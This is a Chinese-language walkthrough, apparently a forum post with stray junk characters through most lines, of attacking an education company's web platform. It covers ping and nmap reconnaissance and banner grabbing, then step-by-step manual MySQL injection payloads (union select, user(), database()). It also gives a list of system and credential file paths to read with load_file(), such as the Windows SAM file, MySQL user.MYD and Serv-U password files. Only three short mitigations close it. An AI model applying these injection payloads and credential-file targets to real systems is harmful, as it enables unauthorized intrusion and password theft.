题记:
: W' V6 k" f1 j. M7 Z* ]6 Q一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……, D8 a6 E) f$ D6 V7 i& L& U6 l1 [
第一步:获取需要的信息
- B: X9 u+ o% @! I1 [) I7 P由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。; E2 J3 q- Q# Y+ Y. K$ J
注:以下为保护特用XXX代替敏感信息/ B, A1 N' c5 Y& a
顺手先PING了一下他们的域名:
8 O% P: n2 a, h3 D x7 zping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)$ |( M. I5 t/ R
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms8 `5 R0 H7 [, }
顺便了解一下TTL,学好基础知识才能一路顺风:$ ]$ |1 {4 A. Z' \
TTL:(Time To Live ) 生存时间+ n1 F- Z+ P5 r& A0 g! G2 Q
指定数据包被路由器丢弃之前允许通过的网段数量。
, ^: c! C6 h7 D" p' ~TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。! W) w# F% y5 C( S
使用PING时涉及到的 ICMP 报文类型2 d5 ^0 J& w- v- O% B6 U+ N
一个为ICMP请求回显(ICMP Echo Request)1 `. W @1 r/ A! p6 a1 Y1 C
一个为ICMP回显应答(ICMP Echo Reply)
$ j# T6 M% T" P" J: mTTL 字段值可以帮助我们识别操作系统类型。
! C; `+ K& a* K- [- `UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
! H4 S3 t' B5 [! h! H3 _5 _Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
# b2 T8 d- T9 x& \5 T$ i4 y- F微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128 I( H( ~; X4 W
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
; m3 K- v2 z3 Z4 V& b: p当然,返回的TTL值是相同的5 l6 O; T/ K5 j; N. i
但有些情况下有所特殊
; d1 A+ h9 S8 d( u4 bLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 645 A: U$ U8 j- w' s6 o% ~2 f
FreeBSD 4.1, 4.0, 3.4;
1 b2 f, Y) {- r9 ?' b [. kSun Solaris 2.5.1, 2.6, 2.7, 2.8;* L* r! g$ }$ z. c8 i6 \
OpenBSD 2.6, 2.7,- y, R o+ [1 F
NetBSD
, [% e2 s9 d. Q7 b m! OHP UX 10.209 [2 E ]/ O% z% N* o/ ^3 J
ICMP 回显应答的 TTL 字段值为 2555 M: z7 h; x9 I& ~5 l, `* ?
Windows 95/98/98SE" \9 S5 x% ^- D" C2 P' {/ W5 j- d
Windows ME
7 e0 b- g; B+ N4 @# O. J/ a0 DICMP 回显应答的 TTL 字段值为 32
- p: ^) ?4 R& @; p) LWindows NT4 WRKS7 q5 G1 H% \. O% i# r
Windows NT4 Server
' r+ p6 C5 G* kWindows 2000# ]' a- @1 c, |* g+ ~
Windows XP
, f# ^% G% H( R4 z4 \$ LICMP 回显应答的 TTL 字段值为 128
0 F7 _( ?7 P+ Y+ b3 |6 p# _这样,我们就可以通过这种方法来辨别操作系统
( ~& O, t: d4 y5 J% cTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
7 F5 ?- N5 \8 o用NMAP扫描一下:
" |; B3 {9 Z4 b. Lnmap -sT -O XXX.XXX.XXX.XXX
' \; S3 P _, m& M如果没有装WinPcap则会弹出提示:
+ |$ r, _4 } s4 gWARNING: Could not import all necessary WinPcap functions. You may need to upgr
C0 g9 q0 {* \0 [# Q3 b! f: Sade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
1 e& b5 }/ u& t L* D0 D6 ~7 J) mode — Nmap may not function completely# ]4 p" G8 g9 J+ D& T m
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ N. |6 R2 ^: ^8 W' h* Zand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
- _! y! n: E9 b4 D& y! W8 opcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
& i/ M, ]% h: }5 q1 P/ ]* Od later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
, s6 J+ D; f G5 Z, S* o8 oersions, you may be able to take iphlpapi.dll from another system and place it i
" s7 b0 }$ M3 ^% K. i7 Y( ^; y( @n your system32 dir (e.g. c:\windows\system32).. ]3 I9 s# a7 _' q
QUITTING!) r* K c5 Y9 ] a$ M+ ]2 J
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
! X d/ J# k' o1 y安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:- A1 ?, p; s7 M! F: L" a
Interesting ports on XXX.XXX.XXX.XXX:
. e) a5 P+ O" X! c* N6 GNot shown: 986 closed ports3 w; u! F0 Q2 U; _) S
PORT STATE SERVICE
1 B3 q' B* J* @4 F21/tcp open ftp
- A h6 v( @+ O! }' R22/tcp open ssh! w+ ]" x h5 A' j7 R4 F9 l
23/tcp open telnet
" U! j+ P% G+ _80/tcp open http
" L3 V! l' _- a! P+ V" {111/tcp open rpcbind2 ^7 W! Z/ x+ |: j3 K8 C! l
135/tcp filtered msrpc
' I' F' g) F" u9 u139/tcp filtered netbios-ssn$ {2 O% ^; q7 s
445/tcp filtered microsoft-ds G1 W7 V; u/ Y/ U! ^5 F; t
513/tcp open login
: Q3 F6 H; n& b0 t5 e514/tcp open shell; S4 z M8 ?2 J' T' E
593/tcp filtered http-rpc-epmap
9 g: V* `5 K2 C1 i E" |/ Q3 s1720/tcp filtered H.323/Q.931
- }! ?7 t' N& V$ {. y) {3306/tcp open mysql% A k8 d& W9 [ T3 U! m
4444/tcp filtered krb524
. [' }) |; m, l0 x( aDevice type: WAP
: K$ l% ?" a- @2 S2 k- }Running: Linux 2.4.X
0 A/ X) l2 G# N- y$ j3 \! ~OS details: DD-WRT (Linux 2.4.35s)
) C& t( {3 P( i, B! B9 T9 FNetwork Distance: 13 hops9 b4 j1 S+ T! v$ e) Z
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接: r: H/ M+ b6 W; q
login as:
1 l0 K" ~6 A/ g" j' Z9 gTelnet23端口也是开着的,用telnet 命令链接一下:
3 ?) D3 ?% s' A" A; i+ C$ L* |telnet XXX.XXX.XXX.XXX
4 [4 X" [: @( d( Y m" i* O% _提示:9 L% d3 q- Y6 b
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
& T# T( J0 b# I: t/ w/ T' e% l# ^Kernel 2.6.18-92.el5PAE on an i686/ u7 C, Z: w8 w4 a% u6 ]
login:2 M; {8 n% k" s5 w7 w
获取HTTP头信息:" m8 l! N, R$ V( ]# `6 B
在本地执行如下PHP代码
5 Q5 d( Y# K' A+ B<?php: a0 |# c2 g) ]+ ~0 i
$url = ‘XXX.XXX.XXX.XXX’;
4 w: s, X! G* m' n* v7 s. uprint_r(get_headers($url));
) @" s% V2 @' ?" K9 p/ Nprint_r(get_headers($url, 1));
2 Q ^6 |, U3 C?>
- H8 x# b9 L7 y3 {- r5 A将以上代码保存为PHP文件,执行:+ r! O1 o- p) G- g6 w$ p. o: F
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 g" C2 {( a# m# }/ {现在可以得出结论:
" t0 [7 r9 E, @7 N1 `# c, C4 Q, ~系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
/ G" u. R% ~5 G4 C# u/ c内核版本:Kernel 2.6.18-92.el5PAE on an i686 Y+ ~6 S3 |4 O. i' j9 T: f
WEB服务器版本:nginx/0.7.618 p: W R) F8 v) T) O( V" _9 q0 |6 Q
第二步,开始测试寻找漏洞
7 U' b" u0 q+ W5 }分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
& L! I7 l ^& _# p) c$ g, F9 s9 |1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
* F, G. ~/ v& ?7 I2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
0 L3 U8 b: K4 N0 z5 F& `http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常" t+ Q6 f& _: o9 G7 a5 K# @
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
7 r2 y7 _/ B; g4 K恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续- `- e$ c, t# K. e. a
3、手工注入:2 Q1 s' q. C1 u4 z
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。6 ^3 q- E- Y j3 f. j' Y
3.1 猜测当前表字段数/ [& N9 z2 c2 t+ T# ]
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
& O! l( J2 p3 B, M; ~此处猜测有个简单的算法,都是有技巧的吗,呵呵7 g" y5 u4 J4 n' J$ |
算法简单如下:
5 F1 i' Y# x6 u" S( s+ n第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;! ~3 R# F6 r8 n3 m& m
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
% n w8 F. _4 C9 z6 [需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。2 F3 o7 ^* \$ m1 C
以此来判断,是否过界,配合取中算法猜出字段数。# |6 V3 y ~% ?! Q
举例:% s/ E& ^6 h6 ^5 M" ~2 d d
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
9 |2 E& ]/ e9 Z' A5 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
+ H3 r9 \$ C: A% C$ m3 b此时3则为我们要找的字段数。) F& ?) `7 N1 t$ H# S1 j. H
3.2 配合union联合查询字段在页面所位置
3 J6 s$ }# @+ P- a% V5 G3 Z/ E& v4 w g我们已经知道了字段数为3,此时则可以做如下操作:
" G+ h$ b0 D8 Z& g" e9 khttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
: t; I# O9 g" q! P# L% U6 [; z
; n6 C* A7 e1 q: a$ _这样就可以测试到哪些字段在页面上有所显示了,如图:
$ ^# T" D5 `# f; g' q
( j+ t# Z8 c- |; H3.3 查敏感信息
( C4 U& J0 p0 p( _8 @7 }: N这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
0 {+ r2 x' m+ O$ ? qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
; C+ _ \6 L9 B& G6 a3 w7 Z1 Y7 P3.3.1 先查数据库用户、数据库名,以备后用,如图:
5 m* f; q) \- P8 l/ n: ]
7 [' Y8 g4 I2 ~+ c8 i0 s6 s得到数据库用户为root、数据库名为DBxx;
; Q# O6 l+ u% G5 l3.3.2 查配置文件# i% G F! ^( c$ v3 L5 Y
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
4 q: I( g4 B5 _. V查看文件有一定的条件限制:: Z7 c) g/ U+ `3 c- j* b
欲读取文件必须在服务器上1 E( z T6 a) {7 ?6 m! g+ Y
必须指定文件完整的路径
1 H9 _; U" m9 T8 [/ ~必须有权限读取并且文件必须完全可读 {; H; F' e! R9 c( y5 J
欲读取文件必须小于 max_allowed_packet3 O; b- Y# o# D3 e; U+ J
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
8 S k ~3 |, u6 N* _: X' V常用的一些:
7 \- [ T7 a; }* d2 _( a0 d/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件0 r/ O- j7 S" ]/ u. C4 l4 v+ _8 u1 d
/usr/local/apache2/conf/httpd.conf
6 R7 A9 a; D0 t& M' U7 e3 w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
+ a! O8 Z) _: t$ w$ }5 {/usr/local/app/php5/lib/php.ini //PHP相关设置; ?3 S' H: R, i+ R) K
/etc/sysconfig/iptables //从中得到防火墙规则策略2 y' O, z: H. {, n8 z/ f4 U
/etc/httpd/conf/httpd.conf // apache配置文件
2 q/ O0 _2 e7 z* |% a( y& n# y7 i' P/etc/rsyncd.conf //同步程序配置文件. S7 H s, N- H6 H# j1 ?
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.9 _0 b A4 I2 Z, ^" D2 i9 n8 F) M
/etc/my.cnf //mysql的配置文件6 G: \# j# j6 I2 S
/etc/redhat-release //系统版本
. ?; H$ Y: c) N8 I/etc/issue6 w/ ]! ?8 b: A
/etc/issue.net7 s9 n) h: c4 C: z* S! N. Q
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
( h/ @* V2 P+ N* ?1 ]8 Y( @& cc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码( v. ?# \0 c. r$ ^* B! Y
c:\Program Files\Serv-U\ServUDaemon.ini
. Z9 v% g+ i* Uc:\windows\my.ini //MYSQL配置文件* H9 m- |# I0 q2 Z+ J! Z' g$ R
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
# K" F0 E" a9 R9 z等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
7 p2 P/ y9 h2 m! D8 C- lc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码- X' g* @/ ~# w' d/ { B% r
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 o" @$ H+ ? O- s1 i! b$ T/ e" E
c:\Program Files\RhinoSoft.com\ServUDaemon.exe. Y. d# j3 ~% H" H2 k7 z
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件% p/ w7 k4 n( M0 c% _! R
//存储了pcAnywhere的登陆密码
$ t3 Q: Y% q& G( ?2 m9 ?9 Y6 \由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。0 u" `& y9 Z: i3 u2 W' z5 E+ P
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。; j+ L1 V+ u6 H# h5 m9 D
最后:防范措施& w& q4 b* a ~" A2 d1 F X
1、修复PHP注入漏洞;
5 L( s* [; O }- r2、Mysql使用普通权限的用户;
- q. f' ?, r0 [, G3、升级linux内核至最新版本; |